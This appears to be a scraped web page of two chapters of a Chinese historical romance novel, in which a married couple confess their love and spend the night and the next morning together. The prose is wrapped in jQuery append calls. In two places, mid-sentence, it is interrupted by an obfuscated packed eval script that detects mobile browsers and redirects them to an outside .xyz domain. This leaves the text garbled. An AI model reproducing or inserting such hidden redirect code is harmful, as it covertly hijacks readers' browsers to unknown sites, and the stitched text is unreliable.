$(''#content'').append('' “你什么感觉?” 霍恂看着她莽撞地冲上来,感觉到她的手指在颤抖,听见她开口时嗓音都有些发虚,但她仍然用大而亮的眼睛直直地看着他。 他微微叹了叹,道:“你在害怕。” 息偌当然知道自己是有害怕的,她手指收紧,又问一遍道:“你什么感觉?” 霍恂抬起眼,与她目光对视,道:“你在害怕,我说出口的话,并不是你想要听的答案。” 息偌觉得他讨厌,都这种时候了,他还要这么模棱两可地糊弄她,他果然一点都没有说错,他不喜真诚待人,此刻也没有直接对她。 霍恂看着她明显委屈的脸色,心里软了下来,目光从她的眼睛落在她的唇上,又重新回到她的眼睛,道:“你试得太快了,我还没反应过来,再试试罢。” 息偌一时没有反应过来,他已然揽着她的腰将她带到了自己腿面上。他一手抱着她,一手从她耳下穿过扶住她的后脑,又将她带回到了自己面前。 他复又吻了上去。 这一次他的动作要轻得多了,也缓得多了,真如他所说的那样,仿佛是再好好尝试一遍。 但他又实在温柔得不像尝试而已,息偌也是头回与人亲吻,这种被人珍重的安慰让她心里一片柔软,身体也不自觉地靠向了他,于是他的温柔又是成堆泛滥。 他用了好久才艰难地退开来,伸手碰了碰她红润的唇,这才抬眼看向她。 他们的距离已经在不知不觉里拉得很近,息偌再开口的时候,声音都有些低哑。 “这次试好了吗?” 她已经有所感觉,所以说出来的话都变得张牙舞爪。 “你要是敢说我不爱听的试试看!” 霍恂笑了,松松散散地抱着她道:“那我完了,我最不擅长说人爱听的话了。” 息偌凶道:“那你最好改改。” 霍恂于是投降,坦然道:“那我承认,我很喜欢你,息偌。” 这种点名道姓的表白老实说有点过于直接,于是息偌难免开始害羞起来。但是既然这话两个人都说过了,既然他们已经拥抱在一起了,那她也有更好的方式表达自己的害羞和喜悦了—— 于是她低下头,双手环着他的脖颈,将脸埋在了他的颈侧。 她感觉到他在笑,因为他的胸膛有轻促而微小的起伏,心跳也飞快……她都感觉到了。 但她也有看不到的地方。 因为在这样温柔的时候,他的手掌轻缓地拍着她的背脊,唇角挂着从心而发的、遮掩不住的开坏笑意,可他微仰着头看向上方的目光却是空茫而冰凉的,带着一种万死之地也难以抽身的冷寂,落在某个握不住的点上。 她在怀里,是温暖而鲜活的。 可他却感觉自己在发冷,在僵硬,在慢慢失控并死去。 “曼曼。” 他艰难地唤她的名字。 她不知道真正的他,听不出他的苦涩,只是为这个昵称快乐而已,在他怀里轻快地应声。 霍恂想他其实也不算什么好人,否则不会做这样的事,说这样的话。 “但你前头说的话,我不答应你。” 44. 听话 一切柔情戛然而止。 息偌有些僵硬,在他怀中坐直身子,目光落定在他脸上,问道:“你什么意思?” 霍恂垂下眼睛,不再看她,只是脸上的表情有些冷怠。 “我承认我是喜欢你的,曼曼,能给你的我都会给你,但你所说的那些,我仍旧坚持我的决定。” 息偌冷声道:“你抬头看我。” 霍恂抬头了,但是目光没有和她相接。 息偌问道:“你在害怕什么?是害怕朝政党争?我虽是女子,却也知道君王执政重在权衡,要你与我长兄对抗也是为此,绝非是为哪一方的完败完胜。我长兄看重息家,纵然自己行事偏激,也不会在这件事上放肆。” 她观察着他的脸色,见他表情未动,便又道:“还是因为害怕你的身体?那你就更蠢透了。现在,立刻,马上,你从一寸光阴一寸金背到莫待无花空折枝!” 霍恂终于笑了一下,道:“夫人,这都不是同一首诗。” 息偌在他肩上打了一下,道:“想不明白就不许叫夫人!” 霍恂复又垂下了唇角,道:“那便不叫了。” 息偌又打他一下。 她非常严肃地警告他道:“你这次别想糊弄我!我告诉你,今天我打定主意回来,就一定要你跟我说明白,绝不可能让你这样占了我的便宜,一句解释没有就这么糊里糊涂地过去!” 她破罐子破摔,豁出去了,道:“我都做好准备了,你就算告诉我你不能人道我也……” 霍恂抬手往她额头上屈指敲了一下,打断她道:“乱想什么呢?” 息偌不满道:“谁让你什么都不说!” 霍恂将她的手攥在手里,道:“曼曼,咱们这样,和寻常夫妻又能有什么区别呢?其实有些事……不是非做不可,我总要为你将来打算。你回了家,自然也看到了,你嫂嫂想要与你长兄和离,眼下有了身孕,便是难上加难了。” 他试图劝说她为自己的将来多考虑一些,但她只是板着脸道:“曼曼也不许你叫。” 霍恂道:“四娘。” 息偌道:“四娘也不许叫,息偌也不许叫。你今天不答应,我一辈子都不搭理你。” 霍恂笑道:“那是谁更害怕些?我当真敢不叫你,你又要恼我不理你。” 息偌挑眉反问道:“你要与我比狠心?清都侯,你也不是不知道,我从来就不是拿得起放不下的人。” 霍恂噎住了,这倒是,当初息偌怎么舍下了冯晚,将来自然也能怎么样将他舍下的。 他眉眼反倒更和缓了些,抚着她的发点点头道:“嗯,那倒也是件好事。” 他油盐不进,说得她生起气来,道:“我是看明白了,你就是病得太久了,大家都怕你死了,久而久之,你也觉得自己活不长了,总想着是不是明日就要死了,凡有长久之物便都不去了解,还说自己是没有兴趣,活得一点奔头都没有。” 霍恂居然还煞有介事地点点头,品评道:“我觉得你说得对。” 息偌便道:“说得对就听我的!从今天起,你就对我感兴趣,你就当是为了我活的,政务随便做一做就好了,也不要太过费心,时间都留下来考虑我,每日闲了就想一想,明日要如何哄我开心,如何让我高兴,如何能让我一辈子都是宁都城里最令人羡慕的女子,这样才可以。” 她重复一遍,提醒他道:“你喜欢我,你就必须做到!” 霍恂挑眉笑道:“好霸道啊。” 息偌问道:“你做不到吗?我可以奖励你,只要你做到了,每天早上睁开眼,第一个就能看到你最喜欢的息四娘。” 霍恂不得不承认,息偌太懂得如何诱.惑一个人了。 这样的一句话,就好像幼年上学时先生放在讲台旁的湖笔徽墨,像空置在父亲房间高架上的那把精钢宝剑,像母亲带他去荔溪坪里看到的高头大马,也像学堂里息停桌边放着的那匣清甜糕点。 简直是,让他只是看一看,想一想,便要心动得不像话。 每天第一眼就能看到她,老天,他想到那个场面,就完全无法抵御自己心里叫嚣着“想要”的声音。 于是他也就如此发问了。 “那我要怎么做,才能让你这么开心呢?” 息偌面上全是计谋得逞的得意笑意,道:“很简单的,只要你对我说的每一句话,都加上四娘、曼曼、或者夫人。” 哦,那就又绕回去了,答不答应呢?这真是个难题。 霍恂微微忧愁道:“我有些担心,因为我还没有看出来,你是不是言而有信的女子,又是不是多心善变的女子。若是你后悔了,恨我是个恶人,那我可就太冤屈了。” 息偌故意道:“那怎么办呢?这种事,不到最后,谁也说不好是不是呀。” 不到最后,你怎么能看得到答案呢? 霍恂是真的纠结起来了。因为她前面说的没错,他早就习惯不去想将来的事了,把每天都当成最后一天去活、每天都做好第二天再也睁不开眼的准备,这是他已经习惯了的生活方式。 习惯了,就很难去更改了。 他在想,她在他心里究竟占到了怎样的份量,才可以让他有勇气抱着长生幸福的真心去面对突如其来的死亡。 他在想,他对她究竟要喜爱到什么样的程度,才可以让他这样不管不顾,哪怕明知道将来要将她一个人留下,此刻也非要与她成双才好。 他的脑子乱得要命,她却还在旁边趁热打铁。 “想好没有?机不可失,天都晚了,我可不会一直等你去想。” 霍恂还是挣扎了一下,向她确认问道:“说话算数吗?” 息偌但笑道:“你来试一试。” 霍恂气馁地微叹道:“夫人,你才是恶棍。” 他凑上去,凶狠但温柔地咬了她一口。她笑得开怀,银铃般的清亮声音在他耳边摇晃,听得他也笑了起来。 他将她在怀里拥抱了许久,这才舍得将她放松了些。息偌这才问道:“你今日去见陛下怎么说?明日还要外出公干吗?” 霍恂摇头道:“不去了,陛下知道详情,许我在家休息两日。这事本来也就不是非我不可,从今天起我要听夫人的,公务随便做一做就好了,心思要放在哄夫人上。” 息偌笑着抱住他脖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876407|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个人挂在他的身上,道:“那夫人会给你点儿甜头的,明天一天,夫人都可以在你眼前晃悠。” 霍恂亲了亲她,扶着她站起身,道:“但现在夫人要休息了——时间已经很晚了。” 息偌勾着他,道:“夫人需要被送回去,天很黑,夫人是会害怕的。” 霍恂于是牵着她的手,一路送她回到卧房。几个侍女知道息偌回来,已经提前为她将卧房整理好,此刻看到他们甜甜蜜蜜地走进来,都是相视一笑。 息偌大大方方的,指着霍恂对豆蔻道了句“将他押着”,而后自己才走到屏风后头去收拾整理。 霍恂自知走不脱,也没打算走,就坐在外头等着。 息偌很快换好寝衣出来,拉着他往里走,几个侍女对视一眼,连忙带上门出去。 既已有了昨晚,此刻也没什么可推脱的。霍恂那时本就准备安寝,此刻将外袍脱了便是寝衣。他让息偌先躺好,自己去熄了灯,才摸黑回来在她身边躺下。 息偌立刻就贴了过来,伸手攀住他手臂,将脸颊贴在他肩臂旁边。 霍恂于是伸手将她揽在怀里,道:“我觉得今晚的决定有些昏头。夫人的行径瞧着太急不可耐了,像是计谋得逞的歹徒。” 息偌大方地抱住他,道:“不可以说夫人坏话,夫人会不高兴。” 霍恂立刻改口,道:“夫人算无遗策,女中诸葛。” 息偌笑了,但是安静了一下,又非常坦诚地同他道:“但是夫人承认,现在夫人想要做点坏事。一寸光阴一寸金啊,清都侯。” 霍恂平躺在那里,侧过头对着她的方向,问道:“我是不是该束手就擒,让夫人为所欲为?” 息偌把脸埋了埋,道:“可是夫人有点害羞。” 她听见霍恂低低笑起来的气声。 下一刻,她感觉他环抱着她的手臂用力,将她向上提了提,让她伏在了自己身上。 他一手环着她的腰,一手在她脸颊蹭了蹭,在黑暗里静默地看了她一会儿,然后把一个很轻的吻落在了她眉心。 嗯,他开个头儿,她就有这个胆量了。 她主动把脸凑上去,于是他又很轻地笑了笑,轻吻滑过她鼻梁落到她唇角,再被她自己纠偏纠正。 她今晚做了一个正确的决定,看清了自己的心意,得到了正向的反馈,拥有了亲密的爱人,所以此刻拥抱亲吻时觉得格外开心。 她沉浸在这种快乐的情绪里,让他觉得自己像是她新得的一件爱不释手的玩具,但他很喜欢这种被她喜欢的感觉,乐意让她放肆地为所欲为。 但是呢,她只是气势汹汹,过一阵子就会发现,她就只是一个单纯的小姑娘而已,虽然有贼心,但没有一点手段,白白闹得他不上不下还无可奈何。 “夫人……” 他含含糊糊地唤她,她随意应了一声,一个上扬的音调,表示在听。 “要不要换我来?” 他们的动作同时停了下来,霍恂得了空闲,抱住她向内翻了个身,两个人攻守之位瞬间异形。 息偌突然感觉一阵危险,他亲了亲她,手指向外勾住了她的衣带。 45. 寻常 第二天,息偌起晚了。 她睁眼的时候,即便透过不算轻.薄的床帐,也能感觉到外面透进来的明亮天色。她懒洋洋地展了展腰背,在床上静静地躺了一会儿,才坐起来拉开帐子。 房间里,霍恂穿着一身浅色的居家长袍坐在一旁,听到动静以后,他放下手中的公文抬头,看向了息偌。 息偌愣了一下,立刻合起了床帐,重新转身缩回了被子里。 原因很简单,她害羞了。 婚前,息偌和所有的新嫁娘一样,接受了非常完整的新婚教导,也包括晚间的夫妻敦伦。甚至连息夫人昨日同她说的某些避孕手段,那时候也是都教过她的。 那时息偌自觉责任重大,婚后不能骄矜任性,便老老实实将所有都学了一遍,包括这些。 所以昨晚在和霍恂拥抱到一起的时候,息偌已经非常清楚接下来所要发生的事情。她诚然有些害羞,但好在环境昏暗,即便霍恂离她如此亲近,也看不到她赧然的表情。 这就让她的胆量大了许多。 但是事实和理论还是差了很多,没有人会告诉息偌这种事能发展出多少花样。息偌自己将主动权让渡给了霍恂,就只能由着他翻来覆去。 就……还挺不好意思的。 夫人醒了,公文就没意思了。霍恂放下东西,迈步走过来坐在床沿,用床帐将他们两个再度笼在里面。他拍了拍被子里的一团,笑问道:“我的夫人被你藏到哪儿去了?” 息偌冒出头看了他几眼,才卷着被子坐好在他面前,只露出一张脸对着他。 霍恂又笑,将这团被子左看看右看看,道:“我记得昨晚我替你穿好衣服了。”他在揶揄上次午睡起来时他们出现的那次意外。 但息偌脸红了,伸出一根指头指了指外头,道:“天亮了,不许你说。” 霍恂挑眉道:“说话不算话?白天就不认账了?” 息偌气鼓鼓地扑过去捂他的嘴,被他含着笑伸开双臂连人带被子地拥入怀里。他俯下身在她脸颊边蹭了蹭,又轻轻亲了一下,才看着她道:“醒来就看到你,我很开心,夫人。” 她缩了缩,道:“夫人也很开心。” 他将她扶起来,叫侍女进来帮她洗漱,换衣服的时候侍女们看到她身上的印子,没忍住笑,闹得息偌又是一阵害羞。 息偌换好衣裳,将茯苓和豆蔻都撵出去,这才自己坐到旁边去洗漱。小盼还在跟前,凑近了低声问她道:“娘子昨天才回家和夫人说了那些话,就与侯爷在一起了吗?” 她说完这话,觉得奇怪,又连忙补充道:“不是说侯爷不好,可我总是担心,你是个姑娘家,他们郎君在外没个定数,你……” 她也不知道如何说了,拧着眉毛,很纠结地看着息偌。 息偌明白她的意思,面目也从刚才的羞涩中变得平静。她垂眼看着干净的水面,道:“他没做到最后。” 小盼一下没听懂,愣愣道:“啊?” 息偌扯了扯唇角,将她推开道了句“说了你也不懂”,又转过身去洗脸。布巾覆在脸上的时候,她的笑意也落了下来。 昨天晚上,要说什么都没做,那确实是几乎什么都做了,但要说什么都做了,他偏偏又没完全做到最后一步。 若是说,昨晚他们刚刚表明心意,他待她珍之重之,记得她腿上还有伤,所以没有去做,那这理由也就罢了。 但她就觉得不是这个理由。 她想来想去,但也实在是没有想明白,他究竟为什么如此瞻前顾后,为什么一点都不敢冒进。 息偌收拾好自己走出来,看到他仍旧坐在那里等她,有些低落的心情复又驱散,算了,他肯如此已经算是向前一步了,她总要给他点时间让他一步一步过来才行。 她扑过去倚进他怀里,问道:“今天想要夫人陪你做什么?” 霍恂已经让人摆好了早饭,一边揽着息偌过去,一边道:“有件公事,不大麻烦,我写两封书信就好。你稍等等我,之后我都听你的。” 息偌话说得骄矜,但没真打算妨碍他的公务,于是点了点头痛快答应。 他们也不面对面坐了,干脆并肩坐在一起。霍恂替她布置,口中闲话问道:“昨日.你回家如何?有什么需要我帮忙的吗?” 息偌自然是不可能将长兄房里那些狗屁倒灶的破事跟他讲的,息停不嫌丢人,她还嫌丢人。 她心安理得地享受起霍恂的体贴,答他道:“我嫂嫂本不想要孩子的,让侍女买堕胎药的时候被我阿娘身边的妈妈瞧见了,我阿娘这才去将我嫂嫂接回去。但她身子太弱,胎像不稳,被个不稳重的侍女冲撞了,所以有些麻烦。有我阿娘一直看着的,倒不是什么大事。” 能怎么弱,才会让息夫人听见爱女坠马都不过去,反倒在家照顾儿媳?纵然息夫人一向疼爱李常希,听着也难免奇怪了。 霍恂猜想到这里头大概还有息停的缘故,但也没有多问,只与息偌道:“你若不放心你嫂嫂,回头回家时叫上小茹。她嘴还是严的,不会说不该说的话。” 息偌点点头应了,过了会儿才反应过来,靠近他道:“我不是不想和你说的,实在是没什么好说的。” 霍恂道:“我知道。” 他是真觉得没什么,感觉到息偌一直盯着他看,便道:“你不肯说,我大概能猜到和你长兄有关。实话说,他夫妻不睦的这件事,朝廷中确实有人一直盯着,想以此为由攻讦他。但他是他,我纵然因为政见和立场与他对立,也不会用家宅中无辜妇人来做借口,没意思。” 息偌点点头,往他身边靠了靠,轻快道:“知道啦。” 她吃了两口,又担忧起来,问道:“你说朝中很多人盯着这事……很多?” 霍恂道:“不用担心。你长兄在这件事上手段狠着,前头有人因此事被他料理过,眼下没人敢动。再说了,李相虽亡故,李家门生却遍布朝野,没人这么不长眼去故意招惹。” 息偌想了想,身子微微转过来,膝盖和他的贴在一起。 霍恂瞥她一眼,扯了扯唇角笑道:“想让我帮忙?” 息偌笑着道:“我知道你们俩不对付,但现在不是都成了一家人嘛,若他有哪里不对的,你就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885911|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提醒提醒他,帮一帮他。” 霍恂故意道:“原来给我甜头儿,是在这里等着我呢?” 息偌晃一晃他,道:“答应我嘛。” 霍恂道:“他提出联姻的时候,我就知道他故意给我使美人计,眼下让他这一步走成了,那我多没面子?将来陪你回息家,他不会念着我帮他,还反要让我矮他一头。” 息偌偏头道:“怎么会呢?我阿爹阿娘都更喜欢我些,你有我陪着,必定处处高他一头。” 霍恂笑道:“这些事儿,你不用担心,我都有分寸。” 他做不出什么实质的承诺。朝上的事风云变幻,他与息停的关系本就微妙,真要如息偌所说处处偏帮,那他入局这一步就算是白走了。 息偌明白这个道理,撒娇也见好就收。她现在倒是方便吹吹耳边风,但是这不是随便吹吹风就得办到的事儿,息停是她的家人,霍恂是她的爱人,谁也不能落入险境。 两个人黏黏糊糊地凑在一起吃完了饭,霍恂回到书房去写信。息偌看他离开,想着自己去了别院几天,回来正好管管家里的内事。 她本想着,霍恂眼下正是被用的时候,如此抽不开身还要被今上派出,可见事情麻烦。他眼下留了下来,即便有旁人替他去了,他在宁都中的事也不会变少。 什么写封信,她也没想着他能尽快回来,自己去做自己的事了。 但令她意外的是,霍恂虽然的确去了一阵子,绝不只是写两封信那样简单,但他却也很快就回来了。 息偌手里捧着账本,看见霍恂迈步走进房中的那一刻,险些惊得下巴都掉下来。 霍恂看着她那副模样便笑,故意问道:“这么惊讶做什么?不是夫人自己说的,让我好好陪着吗?” 息偌只怔了很短的时间,随即便笑了起来。他不去忙,她也开心。昨晚昏昏暗暗的,她手抚在他心口的位置,摸到了好大一片狰狞的疤痕,大概都是当初没养好的缘故。 他能歇一会儿,哪怕时间不长,她也是开心的。 她自在地让出位置让他陪着自己,面上却骄矜道:“那你可要等一等了。夫人也有自己的事情要做,一时间顾不上你呢。” 霍恂点头坐在她让出的位置上,悠闲地向后一靠,道:“成啊,我看着夫人就行了。” 眼下房中不知他们两个,霍恂说这些话的时候一点也不避讳,惹得旁边的侍女和管事都笑。他们一笑,反倒让息偌害羞起来。 豆蔻稍活泼些,敢在这时候开口,打趣道:“娘子可千万当我们不存在,我们都听不见也看不见的!” 这话简直此地无银,招得息偌扬手拍她一下。 只是教训完她了,息偌又突然察觉到哪里不对。她仔细想了想,转头问霍恂道:“我说哪里奇怪呢,小盼叫我娘子就算了,她是从我家里跟来的。怎么府上也叫娘子?” 这其实是最初时霍恂想着迟早要和离,没让府上人改口那么叫她。 但现在不一样了。 他懒懒散散地靠在那里笑看她,道:“夫人是我讨来的赏,哪儿能让他们白叫了?”